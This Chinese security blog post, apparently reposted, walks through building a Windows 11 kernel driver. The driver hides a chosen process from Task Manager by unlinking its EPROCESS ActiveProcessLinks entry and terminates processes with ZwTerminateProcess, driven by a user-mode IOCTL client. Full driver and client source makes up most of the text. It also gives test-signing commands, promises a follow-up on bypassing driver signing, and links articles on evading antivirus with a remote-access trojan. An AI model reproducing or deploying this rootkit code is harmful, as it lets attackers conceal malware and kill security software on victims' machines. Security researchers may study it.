文章总结: 本文详细阐述如何在Windows11环境下利用内核驱动程序实现进程隐藏与终止。内容涵盖环境配置、ActiveProcessLinks偏移量定位、内核驱动开发及用户模式通信机制。通过解链EPROCESS结构和调用ZwTerminateProcess,实现了进程从任务管理器隐藏及强制结束功能。文章附带完整内核与用户层源码,技术深度较高,为安全研究人员提供了极具操作性的底层技术参考。 综合评分: 92 文章分类: 红队,二进制安全,渗透测试,实战经验
【安全研究】使用内核驱动程序来隐藏和终止进程
原创
安全研究员 安全研究员
CppGuide
2026年2月27日 14:30 上海
在本文中,我们将探讨如何使用Windows内核模式驱动程序来隐藏和终止进程。
配置Windows 11虚拟机,确保安全启动已禁用。使用bcdedit启用测试签名模式,以便我们安装未签名的内核驱动程序。
bcdedit /debug on
bcdedit /set testsigning on
你需要计算ActiveProcessLinks数据结构的偏移量。我正在Windows 11 24H2虚拟机上对此进行测试。
0: kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x1c8 ProcessLock : _EX_PUSH_LOCK
+0x1d0 UniqueProcessId : Ptr64 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY
在我们的Windows 11 24H2系统上,可以看到偏移量是0x1d8。
在Visual Studio中创建一个内核驱动程序项目,并导入以下内容。为简洁起见,此代码硬编码了进程ID(PID)值。这是将从任务管理器中隐藏的PID。
#include <Ntifs.h>
#include <ntddk.h>
VOID HideProcessByPid(ULONG pidToHide);
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
UNREFERENCED_PARAMETER(driverObject);
KdPrint(("[+] Unloading driver\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
UNREFERENCED_PARAMETER(registryPath);
KdPrint(("[+] Driver loaded\n"));
driverObject->DriverUnload = DriverUnload;
ULONG pidToHide = 9636;
KdPrint(("[+] Calling Hide Process...\n"));
HideProcessByPid(pidToHide);
KdPrint(("[+] Called Hide Process\n"));
return STATUS_SUCCESS;
}
VOID HideProcessByPid(ULONG pidToHide) {
PEPROCESS targetProcess = NULL;
PLIST_ENTRY activeProcLinks;
PLIST_ENTRY prevEntry, nextEntry;
KdPrint(("[+] Looking up process...\n"));
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
KdPrint(("[+] Lookup worked\n"));
// 0x1d8 = Windows 11 24H2 ActiveLinks Offset
activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);
prevEntry = activeProcLinks->Blink;
nextEntry = activeProcLinks->Flink;
DbgPrint("[*] targetProcess: %p\n", targetProcess);
DbgPrint("[*] activeProcLinks: %p\n", activeProcLinks);
DbgPrint("[*] prevEntry: %p\n", prevEntry);
DbgPrint("[*] nextEntry: %p\n", nextEntry);
// Unlink the process from the list
prevEntry->Flink = nextEntry;
nextEntry->Blink = prevEntry;
ObDereferenceObject(targetProcess);
KdPrint(("[-] Process with PID %d hidden\n", pidToHide));
}
else {
KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));
}
}
请确保编译驱动程序的调试版本(而非发布版本),因为这样我们才能看到正在打印的调试消息。
使用sc 启动驱动程序。
C:\>sc create MyDriver type= kernel binPath= C:\MyDriver.sys
[SC] CreateService SUCCESS
C:\Users\user\Desktop>sc start MyDriver
SERVICE_NAME: MyDriver
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
微软DebugView可用于查看驱动程序打印的调试消息。
在DebugView中,进入“Capture”菜单,并确保勾选以下选项。
- Capture Kernel_
- Capture Win32_
- Capture Global Win32_
- Pass-Through_
驱动程序加载后,你应该会看到它识别出进程句柄、ActiveProcessLinks偏移量以及指向前后进程项的指针。
此时,我们在代码中指向的PID将在任务管理器中隐藏。
与用户模式下的进程通信
我们不必保留硬编码的PID值,而是可以编写一个用户模式应用程序,该程序能够通过IOCTL(输入/输出控制)与内核驱动程序进行通信。
要发送和接收这些请求,需使用DeviceIoControl函数并附带以下参数。
DeviceIoControl(
hDevice, // handle to device (from CreateFile)
IOCTL_MY_COMMAND, // control code (IOCTL)
inputBuffer, // pointer to input buffer (optional)
inputBufferSize, // size of input buffer
outputBuffer, // pointer to output buffer (optional)
outputBufferSize, // size of output buffer
&bytesReturned, // bytes returned
NULL // overlapped (for async)
);
此外,我们还将添加使用ZwTerminateProcess例程终止进程的功能。
驱动程序代码
#include <Ntifs.h>
#include <ntddk.h>
#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KILL_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define PROCESS_TERMINATE 0x0001
VOID HideProcessByPid(ULONG pidToHide);
NTSTATUS KillProcessByPid(ULONG pidToKill);
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");
IoDeleteSymbolicLink(&symLink);
IoDeleteDevice(driverObject->DeviceObject);
KdPrint(("[+] Unloading driver\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
ULONG controlCode = stack->Parameters.DeviceIoControl.IoControlCode;
ULONG inputLen = stack->Parameters.DeviceIoControl.InputBufferLength;
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
if (inputLen == sizeof(ULONG)) {
ULONG pid = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;
switch (controlCode) {
case IOCTL_HIDE_PROCESS:
KdPrint(("[+] IOCTL_HIDE_PROCESS received for PID %u\n", pid));
HideProcessByPid(pid);
status = STATUS_SUCCESS;
break;
case IOCTL_KILL_PROCESS:
KdPrint(("[+] IOCTL_KILL_PROCESS received for PID %u\n", pid));
status = KillProcessByPid(pid);
break;
default:
KdPrint(("[-] Unknown IOCTL code: 0x%08X\n", controlCode));
break;
}
Irp->IoStatus.Information = 0;
}
else {
KdPrint(("[-] Invalid input size: %u\n", inputLen));
status = STATUS_BUFFER_TOO_SMALL;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
PDEVICE_OBJECT deviceObject = NULL;
UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\HideProcDevice");
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");
UNREFERENCED_PARAMETER(registryPath);
NTSTATUS status = IoCreateDevice(
driverObject,
0,
&deviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&deviceObject
);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] Failed to create device (0x%08X)\n", status));
return status;
}
status = IoCreateSymbolicLink(&symLink, &deviceName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(deviceObject);
KdPrint(("[-] Failed to create symbolic link (0x%08X)\n", status));
return status;
}
driverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
driverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
driverObject->DriverUnload = DriverUnload;
KdPrint(("[+] Driver loaded\n"));
return STATUS_SUCCESS;
}
NTSTATUS KillProcessByPid(ULONG pidToKill)
{
NTSTATUS status;
HANDLE processHandle;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pidToKill;
clientId.UniqueThread = NULL;
// Open a handle to the process
status = ZwOpenProcess(&processHandle, PROCESS_TERMINATE, &objAttr, &clientId);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] ZwOpenProcess failed for PID %u: 0x%X\n", pidToKill, status));
return status;
}
// Terminate the process
status = ZwTerminateProcess(processHandle, STATUS_SUCCESS);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] ZwTerminateProcess failed for PID %u: 0x%X\n", pidToKill, status));
}
else {
KdPrint(("[+] Successfully terminated PID %u\n", pidToKill));
}
ZwClose(processHandle);
return status;
}
VOID HideProcessByPid(ULONG pidToHide) {
PEPROCESS targetProcess = NULL;
PLIST_ENTRY activeProcLinks;
PLIST_ENTRY prevEntry, nextEntry;
KdPrint(("[+] Looking up process...\n"));
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
KdPrint(("[+] Lookup worked\n"));
// 0x1d8 = Windows 11 24H2 ActiveLinks Offset
activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);
prevEntry = activeProcLinks->Blink;
nextEntry = activeProcLinks->Flink;
DbgPrint("[*] targetProcess: %p\n", targetProcess);
DbgPrint("[*] activeProcLinks: %p\n", activeProcLinks);
DbgPrint("[*] prevEntry: %p\n", prevEntry);
DbgPrint("[*] nextEntry: %p\n", nextEntry);
// Unlink the process from the list
prevEntry->Flink = nextEntry;
nextEntry->Blink = prevEntry;
// Nullify the processes BLINK/FLINK. Failure to do so will cause a crash when the process closes.
activeProcLinks->Flink = activeProcLinks;
activeProcLinks->Blink = activeProcLinks;
ObDereferenceObject(targetProcess);
KdPrint(("[-] Process with PID %d hidden\n", pidToHide));
}
else {
KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));
}
}
用户模式程序代码
将以下内容编译为一个C++命令行应用程序。
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FILE_DEVICE_UNKNOWN 0x00000022
#define METHOD_BUFFERED 0
#define FILE_ANY_ACCESS 0
#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KILL_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
int main(int argc, char** argv) {
if (argc != 3) {
printf("Usage: %s <PID> <hide|kill>\n", argv[0]);
printf("Example: %s 1234 hide\n", argv[0]);
printf(" %s 1234 kill\n", argv[0]);
return 1;
}
// Parse PID
char* endptr = NULL;
ULONG pid = strtoul(argv[1], &endptr, 10);
if (endptr == argv[1] || *endptr != '\0' || pid == 0) {
printf("[-] Invalid PID: %s\n", argv[1]);
return 2;
}
// Determine action: hide or kill
DWORD ioctlCode = 0;
if (_stricmp(argv[2], "hide") == 0) {
ioctlCode = IOCTL_HIDE_PROCESS;
}
elseif (_stricmp(argv[2], "kill") == 0) {
ioctlCode = IOCTL_KILL_PROCESS;
}
else {
printf("[-] Invalid action: %s. Use 'hide' or 'kill'.\n", argv[2]);
return 3;
}
printf("[+] Sending '%s' request for PID %lu to driver...\n", argv[2], pid);
// Open handle to driver
HANDLE hDevice = CreateFileA(
"\\\\.\\HideProc",
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device: %lu\n", GetLastError());
return 4;
}
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
hDevice,
ioctlCode,
&pid,
sizeof(pid),
NULL,
0,
&bytesReturned,
NULL
);
if (success) {
printf("[+] IOCTL sent successfully to %s PID %lu\n", argv[2], pid);
}
else {
printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
}
CloseHandle(hDevice);
return success ? 0 : 5;
}
和之前一样,请确保驱动程序已加载,然后运行客户端并指定您想要隐藏的PID值。
注意事项
内核驱动程序通常需要由微软颁发的数字签名才能成功安装。在后续文章中,我们将探讨如何绕过这一限制来加载我们的驱动程序。
推荐阅读
银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题
银狐远控代码中差异屏幕bug修复
银狐远程屏幕内存优化方法探究
银狐远程软件bug修复记录 第03篇
银狐远程软件 UDP 断线无法重连的bug排查和修复
银狐远程软件代理映射功能优化思路分享
银狐远程软件去后门方法
银狐远控一键编译调试与开发教程
银狐远控免杀与shellcode修复思路分析 01
银狐ShellCode混淆怪招
详解银狐远控源码中那些C++编码问题
给银狐远控增加一个小功能01
银狐远控的被控端是如何隐藏和保护自己的
从银狐复制和转移客户功能的bug说起……
谈几点银狐源码学习感悟
客户端软件的结构设计思考(一)——以银狐主控为例
由于银狐远控,被*安找了
银狐后台桌面实现原理详解(一)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:CppGuide 安全研究员 安全研究员《【安全研究】使用内核驱动程序来隐藏和终止进程》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论